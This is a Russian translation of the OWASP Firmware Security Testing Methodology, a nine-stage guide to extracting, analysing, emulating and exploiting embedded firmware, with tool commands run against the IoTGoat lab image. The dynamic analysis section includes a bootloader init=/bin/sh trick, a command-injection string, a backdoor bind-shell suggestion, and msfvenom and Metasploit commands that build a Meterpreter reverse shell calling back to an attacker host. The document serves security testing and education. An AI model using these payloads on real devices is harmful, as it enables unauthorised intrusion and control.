описание |
---|
FSTM состоит из девяти этапов, предназначенных для того, чтобы дать возможность исследователям безопасности, разработчикам программного обеспечения, любителям и специалистам по информационной безопасности проводить оценку безопасности встроенного ПО. |
Независимо от того, подключено ли оно к сети или автономно, встроенное ПО является центром управления любым встроенным устройством. Таким образом, крайне важно понимать, как можно манипулировать прошивкой для выполнения несанкционированных функций и потенциально нанести ущерб безопасности поддерживающей экосистемы. Чтобы приступить к выполнению тестирования безопасности и обратному проектированию встроенного ПО, используйте следующую методологию в качестве руководства при предстоящей оценке. Методика состоит из девяти этапов, специально разработанных для того, чтобы дать возможность исследователям безопасности, разработчикам программного обеспечения, консультантам, любителям и специалистам по информационной безопасности проводить оценку безопасности встроенного ПО.
Этап | Описание |
---|---|
1. Сбор информации и разведка | Получите все соответствующие технические и документальные сведения, относящиеся к прошивке целевого устройства. |
2. Получение прошивки | Получите прошивку, используя один или несколько из предложенных перечисленных методов. |
3. Анализ прошивки | Изучите характеристики целевой прошивки. |
4. Извлечение файловой системы | Вырезать содержимое файловой системы из целевой прошивки |
5. Анализ содержимого файловой системы | Статический анализ извлеченных файлов конфигурации файловой системы и двоичных файлов на наличие уязвимостей. |
6. Эмуляция прошивки | Эмулировать файлы и компоненты прошивки |
7. Динамический анализ | Выполнение динамического тестирования безопасности встроенного ПО и интерфейсов приложений. |
8. Анализ времени выполнения | Анализируйте скомпилированные двоичные файлы во время работы устройства. |
9. Бинарная эксплуатация | Используйте выявленные уязвимости, обнаруженные на предыдущих этапах, для получения root-прав и/или выполнения кода. |
В следующих разделах каждый этап будет подробно описан с подтверждающими примерами, где это применимо. Рассмотрите возможность посещения страницы проекта OWASP Internet of Things и репозитория GitHub, чтобы получать последние обновления методологии и предстоящие выпуски проекта.
Предварительно настроенную виртуальную машину Ubuntu (EmbedOS) с инструментами тестирования встроенного ПО, используемыми в этом документе, можно загрузить по следующей ссылке. Подробную информацию об инструментах EmbedOS можно найти на GitHub в следующем репозитории https://github.com/scriptingxss/EmbedOS.
На этом этапе соберите как можно больше информации о цели, чтобы понять ее общий состав, лежащий в основе технологии. Попытайтесь собрать следующее:
Перечисленную выше информацию следует собрать до проведения полевых работ по тестированию безопасности с помощью анкеты или формы приема. Обязательно используйте внутренние группы разработчиков продуктовой линейки для получения точных и актуальных данных. Понимание применяемых мер безопасности, а также элементов дорожной карты, известных проблем безопасности и наиболее важных рисков. При необходимости запланируйте последующие глубокие погружения в конкретные рассматриваемые функции. Оценки наиболее успешны в условиях сотрудничества.
По возможности собирайте данные, используя инструменты и методы разведки с открытым исходным кодом (OSINT). Если используется программное обеспечение с открытым исходным кодом, загрузите репозиторий и выполните как ручной, так и автоматический статический анализ базы кода. Иногда в проектах программного обеспечения с открытым исходным кодом уже используются бесплатные инструменты статического анализа, предоставляемые поставщиками, которые предоставляют результаты сканирования, такие как Coverity Scan и LGTM от Semmle. Например, на скриншотах ниже показаны фрагменты результатов сканирования покрытия Das U-Boot.
Рис. : Сканирование покрытия U-Boot
Рис. : Анализ сканирования покрытия U-Boot
Ниже приведены скриншоты результатов Dropbear, полученных в результате анализа LGTM.
Рис. : Оповещения LGTM Dropbear
Рис. : Результаты LGTM Dropbear
Имея под рукой информацию, следует выполнить упражнение по модели легкой угрозы, сопоставив поверхности атаки и зоны воздействия, которые проявят наибольшую ценность в случае компрометации.
Чтобы начать просмотр содержимого прошивки, необходимо получить файл образа прошивки. Попытайтесь получить содержимое встроенного ПО одним или несколькими из следующих методов:
*Примечание. Обязательно соблюдайте местные законы и правила при загрузке данных из открытых облачных хранилищ поставщиков.
Каждый из перечисленных методов различается по сложности и не должен считаться исчерпывающим списком. Выберите подходящий метод в соответствии с целями проекта и правилами взаимодействия. Если возможно, запросите как отладочную сборку, так и выпускную сборку встроенного ПО, чтобы максимально расширить возможности тестирования при использовании отладочного кода или функций, скомпилированных в выпуске.
После получения образа прошивки изучите аспекты файла, чтобы определить его характеристики. Используйте следующие шаги, чтобы проанализировать типы файлов встроенного ПО, потенциальные метаданные корневой файловой системы и получить дополнительное представление о платформе, для которой оно скомпилировано.
Используйте такие утилиты, как:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
Если ни один из вышеперечисленных методов не дает полезных данных, возможно следующее:
Если двоичный файл может быть зашифрован, проверьте энтропию с помощью binwalk с помощью следующей команды:
$ binwalk -E <bin>
Низкая энтропия = вряд ли будет зашифровано
Высокая энтропия = Вероятно, он зашифрован (или каким-то образом сжат).
Альтернативные инструменты также доступны с помощью Binvis онлайн и автономного приложения.
Этот этап включает в себя просмотр встроенного ПО и анализ относительных данных файловой системы, чтобы начать выявлять как можно больше потенциальных проблем безопасности. Используйте следующие шаги, чтобы извлечь содержимое встроенного ПО для просмотра некомпилированного кода и конфигураций устройств, используемых на следующих этапах. Ниже показаны как автоматические, так и ручные методы извлечения.
$ binwalk -ev <bin>
Файлы будут извлечены в папку " _binaryname/filesystemtype/
".
Типы файловых систем: sqashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
2а. Иногда в сигнатурах binwalk отсутствует магический байт файловой системы. В этих случаях используйте binwalk, чтобы найти смещение файловой системы, вырезать сжатую файловую систему из двоичного файла и вручную извлечь файловую систему в соответствии с ее типом, выполнив действия, описанные ниже.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2б. Запустите следующую команду dd, вырезая файловую систему Squashfs.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
В качестве альтернативы можно также выполнить следующую команду.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2в. Для сквоша (используется в примере выше)
$ unsquashfs dir.squashfs
После этого файлы будут находиться в каталоге « squashfs-root
».
2д. Архивные файлы CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2ф. Для файловых систем jffs2
$ jefferson rootfsfile.jffs2
2д. Для файловых систем ubifs с флэш-памятью NAND
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
На этом этапе собираются подсказки для стадий динамического анализа и анализа во время выполнения. Выясните, содержит ли целевая прошивка следующее (неисчерпывающее число):
Статически анализируйте содержимое файловой системы и некомпилированный код вручную или с помощью инструментов автоматизации, таких как Firmwalker, которые анализируют следующее:
В следующих подразделах представлены инструменты автоматического анализа встроенного ПО с открытым исходным кодом.
Запустите Firmwalker в его каталоге ~/tools/firmwalker и укажите Firmwalker на абсолютный путь к корневому каталогу извлеченной файловой системы. Firmwalker использует информацию в каталоге «/data/» для синтаксических правил. Пользовательскую вилку, модифицированную Аароном Гузманом с дополнительными проверками, можно найти на GitHub по адресу https://github.com/scriptingxss/firmwalker. В следующих примерах показано использование Firmwalker, используемый в IoTGoat OWASP. Дополнительные уязвимые проекты прошивки перечислены в разделе «Уязвимые прошивки» в конце документа.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
См. вывод Firmwalker ниже.
Будут созданы два файла:firmwalker.txt иfirmwalkerappsec.txt. Эти выходные файлы следует просмотреть вручную.
К счастью, доступно множество инструментов автоматического анализа прошивки с открытым исходным кодом. Особенности FACT включают в себя следующее:
Идентификация компонентов программного обеспечения, таких как операционная система, архитектура ЦП и сторонние компоненты, а также связанная с ними информация о версии.
Извлечение файловой системы(ов) прошивки из образов
Обнаружение сертификатов и закрытых ключей
Обнаружение слабых реализаций, сопоставленных с Common Weakness Enumeration (CWE)
Обнаружение уязвимостей на основе фидов и сигнатур
Базовый статический поведенческий анализ
Сравнение (diff) версий прошивок и файлов
Эмуляция пользовательского режима двоичных файлов файловой системы с использованием QEMU
Обнаружение двоичных средств защиты, таких как NX, DEP, ASLR, стековые канарейки, RELRO и FORTIFY_SOURCE.
ОТДЫХ API
и многое другое...
Ниже приведены инструкции по использованию набора инструментов для анализа встроенного ПО на предварительно настроенной виртуальной машине-компаньоне.
Совет: рекомендуется запускать FACT на компьютере с 16 ядрами и 64 ГБ ОЗУ, хотя инструмент может работать как минимум с 4 ядрами и 8 ГБ ОЗУ гораздо медленнее. Результаты сканирования различаются в зависимости от выделенных ресурсов, предоставленных виртуальной машине. Чем больше ресурсов, тем быстрее FACT выполнит отправку сканов.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Перейдите по адресу http://127.0.0.1:5000 в браузере.
Рис. : Панель мониторинга FACT
Загрузите компоненты прошивки в FACT для анализа. На снимке экрана ниже будет загружена и проанализирована сжатая полная прошивка с корневой файловой системой.
Рис. : Загрузка фактов
В зависимости от аппаратных ресурсов, предоставленных FACT, результаты анализа появятся вместе с результатами сканирования в определенное время. Этот процесс может занять несколько часов, если выделено минимальное количество ресурсов.
Рис. : ФАКТ IoTGoat
Рис. : Результаты борьбы с эксплойтами FACT IoTGoat
Дизассемблируйте подозрительные целевые двоичные файлы с помощью данных, собранных из FACT, с помощью IDA Pro, Ghidra, Hopper, Capstone или Binary Ninja. Анализируйте двоичные файлы на наличие потенциальных системных вызовов удаленного выполнения кода, строк, списков функций, уязвимостей повреждения памяти и идентифицируйте внешние ссылки на system() или аналогичные вызовы функций. Обратите внимание на потенциальные уязвимости, которые можно использовать в следующих шагах.
На следующем снимке экрана показан двоичный файл «shellback», дизассемблированный с помощью Ghidra.
Рис. : Анализ Shellback Ghidra
Обычный бинарный анализ состоит из рассмотрения следующего:
$ readelf -aW bin/*| grep stack_chk_fail
$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'
$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'
$ readelf -d <bin> | grep -q 'DEBUG'
$ readelf --syms <bin>
$ nm <bin>
-el
указывает символы с прямым порядком байтов шириной 16 бит (например, UTF-16).-eb
для прямого порядка байтов-t
вернет смещение строки внутри файла.-tx
вернет его в шестнадцатеричном формате, T-to в восьмеричном и -td
в десятичном.strings -n5 <bin>
strings -el <bin>
strings -n16 <bin>
strings -tx <bin>
$ readelf -lW bin/<bin>| grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
Буква «E» указывает, что стек является исполняемым.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW
$ readelf -d binary | grep GNU_RELRO
Сценарий, который автоматизирует проверку многих из вышеперечисленных двоичных свойств, — это checksec.sh. Ниже приведены два примера использования скрипта.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Рис. : Checksec.sh
Для двоичных файлов Microsoft (EXE и DLL) используйте PESecurity для проверки ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard и HighEntropyVA.
EMBA разработан как основной инструмент анализа прошивки для тестеров на проникновение. Он поддерживает полный процесс анализа безопасности, начиная с извлечения прошивки , статического анализа и динамического анализа посредством эмуляции до создания веб-отчета для дальнейшего анализа. Запускаемая с помощью одной команды, EMBA автоматически обнаруживает потенциальные слабые места и уязвимости в тестируемой прошивке, такие как небезопасные двоичные файлы, старые и устаревшие программные компоненты, потенциально уязвимые сценарии или жестко запрограммированные пароли.
Возможности EMBA включают в себя следующее:
EMBA использует в фоновом режиме множество других инструментов. Необходимые системные ресурсы во многом зависят от прошивки, которую вы собираетесь анализировать. Обычно EMBA работает достаточно гладко в следующей среде:
Для установки необходимой среды вам необходимо запустить скрипт установки с правами root:
sudo ./installer.sh -d
Для запуска обычной установки в программе установки следует использовать ключ -d
. Это установит необходимые зависимости (например, cve-search) на хосте и загрузит образ докера EMBA . Мы рекомендуем использовать это для первоначальной установки.
После завершения процесса установки можно использовать EMBA для анализа безопасности прошивки из командной строки. Перед запуском EMBA загрузите тестовую прошивку, например прошивку OWASP IoTGoat. Следующая команда показывает типичную команду EMBA :
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.emba
Показанная команда настраивает следующие основные параметры:
Дополнительные параметры доступны и их можно просмотреть через ./emba.sh -h
Первым шагом каждого теста прошивки является проверка работоспособности текущей установки:
После успешной проверки работоспособности начинается процесс анализа с идентификации и извлечения настроенной прошивки:
Во время тестирования прошивки все результаты и текущий статус отображаются в терминале в режиме реального времени. Поскольку обычное сканирование выполняется в потоковом режиме ( параметр -t
), этот вывод будет искажен и его будет сложно прочитать. Для дальнейшего анализа рекомендуется использовать сгенерированные текстовые файлы журналов в каталоге журналов и веб-отчете ( параметр -W
). После завершения сканирования прошивки EMBA отображает сводку результатов в терминале:
Дальнейшие результаты доступны в каталоге журналов и могут быть проанализированы в командной строке или через веб-браузер:
firefox ~ /emba_logs_iotgoat/html-report/index.html
Сгенерированный HTML-отчет является автономным, и им можно легко поделиться. Кроме того, этот отчет полностью интерактивный, и все подробности тестирования можно просмотреть через сводную сводную панель.
Более подробную информацию можно найти в официальном git-репозитории EMBA .
EMBArk — это корпоративный веб-интерфейс для сканера безопасности встроенного ПО EMBA . Он разработан для предоставления анализатора безопасности встроенного ПО EMBA в виде контейнерного сервиса и облегчения доступа к серверной части сканирования встроенного ПО EMBA независимо от системы и операционной системы.
Кроме того, EMBArk улучшает предоставление данных, объединяя различные результаты сканирования в агрегированной информационной панели управления.
На странице сведений обо всех сканированиях вы можете получить доступ к подробному отчету о сканировании прошивки, запустить дальнейшие тесты и загрузить журналы сканирования:
Более подробно с основными результатами каждого теста прошивки можно ознакомиться в подробном отчете:
Дополнительную информацию можно найти в официальном git-репозитории EMBArk .
Примечание. EMBArk находится на очень ранней стадии разработки.
Используя детали и подсказки, указанные на предыдущих шагах, необходимо эмулировать встроенное ПО, а также его инкапсулированные двоичные файлы для проверки потенциальных уязвимостей. Для эмуляции встроенного ПО существует несколько подходов, перечисленных ниже.
/usr/bin/shellback
Чтобы начать частичную эмуляцию двоичных файлов, необходимо знать архитектуру ЦП и порядок байтов для выбора соответствующего двоичного файла эмуляции QEMU на следующих шагах.
$ binwalk -Y <bin>
$ readelf -h <bin>
эль - прямой порядок байтов
eb — прямой порядок байтов
Binwalk можно использовать для определения порядка байтов упакованных двоичных файлов прошивки (а не двоичных файлов в извлеченной прошивке), используя команду ниже.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
После определения архитектуры ЦП и порядка байтов найдите соответствующий двоичный файл QEMU для выполнения частичной эмуляции (не для эмуляции полной прошивки, а для эмуляции двоичных файлов с извлеченной прошивкой).
Обычно в:
/usr/local/qemu-arch
или /usr/bin/qemu-arch
Скопируйте соответствующий двоичный файл QEMU в извлеченную корневую файловую систему. Вторая команда показывает копирование статического двоичного файла QEMU в извлеченную корневую файловую систему внутри оболочки ZSH, показывая абсолютный путь.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Запустите двоичный файл ARM (или соответствующую арку) для эмуляции с помощью QEMU и chroot с помощью следующей команды:
$ sudo chroot . ./qemu-arch <binarytoemulate>
В следующем примере показана эмуляция Busybox в типичной 64-разрядной архитектуре, которую, вероятно, использует злоумышленник.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Ниже приведен пример эмуляции службы, прослушивающей порт 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Кроме того, тот же сервис можно эмулировать с помощью платформы qiling.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
В другом терминале проверьте, прослушивает ли служба локально, и попробуйте подключиться к ней с помощью netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Иногда HTTP-сервер отправляет запросы к двоичному файлу CGI. Просто эмулируя двоичный файл CGI, можно проанализировать процедуру процесса или проверить уязвимость без настройки HTTP-сервера. В следующем примере выдается запрос GET к двоичному файлу MIPS CGI.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
Эмулируя целевой двоичный файл, взаимодействуйте с его интерпретатором или службой прослушивания. Фазинг приложений и сетевых интерфейсов, как указано на следующем этапе.
По возможности используйте инструменты автоматизации, такие как Firmadyne, набор инструментов для анализа встроенного ПО или ARM-X Firmware Emulation Framework, чтобы выполнить полную эмуляцию встроенного ПО. Эти инструменты по сути являются оболочками для QEMU и других функций среды, таких как nvram.
Используя набор инструментов для анализа прошивки, просто выполните следующую команду:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Примечание. Модификации этих инструментов могут потребоваться, если прошивка содержит необычное сжатие, файловую систему или неподдерживаемую архитектуру.
На этом этапе выполните динамическое тестирование, пока устройство работает в обычной или эмулируемой среде. Цели на этом этапе могут различаться в зависимости от проекта и уровня предоставленного доступа. Обычно это включает в себя изменение конфигураций загрузчика, веб-тестирование и тестирование API, фаззинг (сетевые службы и службы приложений), а также активное сканирование с использованием различных наборов инструментов для получения повышенного доступа (root) и/или выполнения кода.
Инструменты, которые могут оказаться полезными (неполный список):
Используйте стандартные веб-методологии, такие как Руководство по тестированию OWASP и Стандарт проверки безопасности приложений (ASVS).
Конкретными областями веб-приложения встроенного устройства, требующими проверки, являются следующие:
В зависимости от продукта и интерфейсов его приложений тестовые примеры будут различаться.
При изменении запуска устройства и загрузчиков, таких как U-boot, попытайтесь выполнить следующее:
init=/bin/sh
' в конце аргументов загрузки.#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh
#saveenv
#boot
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
ubootwrite.py
, чтобы записать образ uboot и загрузить модифицированную прошивку, чтобы получить root.FILENAME
» с помощью команд внедрения команд, таких как 'a";/bin/sh;#'
чтобы проверить проверку ввода для процедур запуска устройства.* Тестирование безопасности оборудования.
Попытайтесь загрузить пользовательскую прошивку и/или скомпилированные двоичные файлы на наличие ошибок проверки целостности или подписи. Например, скомпилируйте оболочку привязки бэкдора, которая запускается при загрузке, выполнив следующие действия.
Если корневая оболочка уже была получена в результате динамического анализа, манипуляций с загрузчиком или средств тестирования безопасности оборудования, попытайтесь выполнить предварительно скомпилированные вредоносные двоичные файлы, такие как имплантаты или обратные оболочки. Рассмотрите возможность использования автоматизированных инструментов полезной нагрузки/имплантатов, используемых в системах управления и контроля (C&C). Например, платформу Metasploit и «msfvenom» можно использовать, выполнив следующие шаги.
msfvenom
, чтобы указать соответствующую целевую полезную нагрузку (-p), IP-адрес хоста злоумышленника (LHOST=), номер порта прослушивания (LPORT=), тип файла (-f), архитектуру (--arch), платформу (--platform linux или windows). и выходной файл (-o). Например, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z
Если возможно, определите уязвимость в сценариях запуска, чтобы получить постоянный доступ к устройству после перезагрузки. Такие уязвимости возникают, когда сценарии запуска ссылаются, символически связывают или зависят от кода, расположенного в ненадежных местах подключения, таких как SD-карты, и флэш-томах, используемых для хранения данных за пределами корневых файловых систем.
Анализ времени выполнения включает подключение к работающему процессу или двоичному файлу, когда устройство работает в обычной или эмулируемой среде. Основные этапы анализа времени выполнения представлены ниже:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
Инструменты, которые могут оказаться полезными (неполный список):
После выявления уязвимости в двоичном файле на предыдущих этапах требуется надлежащее подтверждение концепции (PoC), чтобы продемонстрировать реальное влияние и риск. Разработка кода эксплойта требует опыта программирования на языках более низкого уровня (например, ASM, C/C++, шелл-код и т. д.), а также опыта работы с конкретной целевой архитектурой (например, MIPS, ARM, x86 и т. д.). Код PoC предполагает получение произвольного выполнения на устройстве или приложении путем управления инструкцией в памяти.
Защита двоичного кода во время выполнения (например, NX, DEP, ASLR и т. д.) встречается во встроенных системах нечасто, однако, когда это происходит, могут потребоваться дополнительные методы, такие как возвратно-ориентированное программирование (ROP). ROP позволяет злоумышленнику реализовать произвольные вредоносные функции путем объединения существующего кода в код целевого процесса/двоичного файла, известного как гаджеты. Необходимо будет предпринять шаги для использования выявленной уязвимости, такой как переполнение буфера, путем формирования цепочки ROP. Инструмент, который может быть полезен в подобных ситуациях, — это инструмент поиска гаджетов Capstone или ROPGadget — https://github.com/JonathanSalwan/ROPgadget.
Используйте следующие ссылки для получения дальнейших указаний:
При оценке прошивки будет использоваться комбинация инструментов. Ниже перечислены часто используемые инструменты.
Чтобы попрактиковаться в обнаружении уязвимостей в прошивке, используйте в качестве отправной точки следующие проекты уязвимых прошивок.
Обратная связь и вклад
Если вы хотите внести свой вклад или оставить отзыв для улучшения этой методологии, свяжитесь с [email protected] (@scriptingxss). Обязательно сообщите о проблеме или запросе на включение, и мы обязательно позаботимся об этом!
Особая благодарность нашим спонсорам Cisco Meraki, OWASP Inland Empire и OWASP Los Angeles, а также Хосе Алехандро Ривасу Видалю за его тщательный обзор.
Полный список участников можно найти по адресу https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
Лицензия
Creative Commons Attribution Share Alike 4.0 International